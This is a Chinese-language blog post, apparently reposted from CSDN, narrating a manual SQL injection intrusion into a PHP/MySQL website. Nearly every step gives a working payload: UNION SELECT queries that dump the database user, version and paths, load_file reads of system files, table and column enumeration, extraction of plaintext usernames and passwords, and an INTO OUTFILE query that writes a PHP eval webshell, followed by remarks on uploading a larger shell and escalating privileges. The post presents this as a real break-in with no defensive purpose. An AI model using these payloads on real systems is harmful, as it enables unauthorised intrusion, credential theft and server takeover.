一个PHP+Mysql手工SQL注入例子

不想因为使用扫描工具的缘故,导致服务器出现不稳定的现象,所以就纯手工
下面具体来说明下:

1、尝试1=1的情况,正确

  1. http://xxx/xxx.php?id=2900 and 1=1

2、尝试1=2的情况,错误,说明这是个整型的注入点
  1. http://xxx/xxx.php?id=2900 and 1=2

3、尝试'1'='1'的情况,错误,说明PHP开启了magic_quotes_gpc=on,不能直接利用注入语句写webshell了。还好这里是整型的注入点,如果是字符型的注入点那就没办法了。
  1. http://xxx/xxx.php?id=2900 and '1'='1'

4、order by 15,尝试当前注入语句的表中字段个数为15,错误,说明字段数小于15
  1. http://xxx/xxx.php?id=2900 order by 15

5、order by 14,尝试当前注入语句的表中字段个数为14,正确,说明字段数等于14
  1. http://xxx/xxx.php?id=2900 order by 14

6、联合查询语句,暴出可显示字段
  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14

7、暴出数据库用户、版本、库名和路径信息,运气不错,是root权限。
  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),7,8,9,10,11,12,13,14

8、读取windows系统文件boot.ini
  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,load_file(0x633a5c626f6f742e696e69),7,8,9,10,11,12,13,14

9、暴出当前库中的所有表名,查了下只有一个account表还比较像存放用户名和口令信息的表
  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()

10、暴出account表中的所有字段名,看到了username和password,很高兴。
  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14 from information_schema.columns where table_name=0x6163636f756e74

11、暴出username和password字段里的内容,都是明文。
  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(username,0x5e,password),7,8,9,10,11,12,13,14 from account

12、使用得到的用户名口令尝试登录用户页面和后台页面,均失败。


13、发现该网站有phpMyAdmin,phpMyAdmin是个好东西,可以在magic_quotes_gpc=on的情况下写入一句话。不过得先知道mysql数据库连接口令。用穿山甲跑了下注入点,可以读取出mysql的root和其他账号口令,但都是收费的hash。。想想即使拿到口令,没web目录的绝对路径也不能写一句话啊。

14、搜索了一些phpMyAdmin的暴路径的链接,均失败。
  1. /phpmyadmin/libraries/lect_lang.lib.php
  2. /phpmyadmin/themes/darkblue_orange/layout.inc.php

15、忽然,rp爆发了一下下,在根目录下随手尝试了个phpinfo,这不绝对路径就出来了d:/wwwroot。

16、读取配置文件d:/wwwroot/sql2004.php

17、登录phpMyAdmin,写入一句话d:/wwwroot/1.php
  1. select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
18、用lanker一句话客户端连接,查看phpinfo,接下来就是上传大马的事了

19、回过头来,在数据库里翻了一番,在数据库名为admin的库中找到了个口令,一下就登录上后台管理页面了。。

20、终于写完了,总之日站这种事情有时候需要点运气的。如果是linux系统,一般可以直接读取/etc/httpd/conf/httpd.conf文件来获取web目录的绝对路径,Windows的话就要猜了。后来看一下,这个站点的httpd.conf在C:/Program Files/Apache Group/Apache2/conf目录下。。
还有如果不是root权限,那么就只能靠登进系统上传shell或者直接用FCKeditor之类的编辑器上传。这个网站当前运行的权限是system,如果是linux的话还得反向连接,再本地提权。

猜你喜欢

转载自blog.csdn.net/spring_hong_1983/article/details/79556404
今日推荐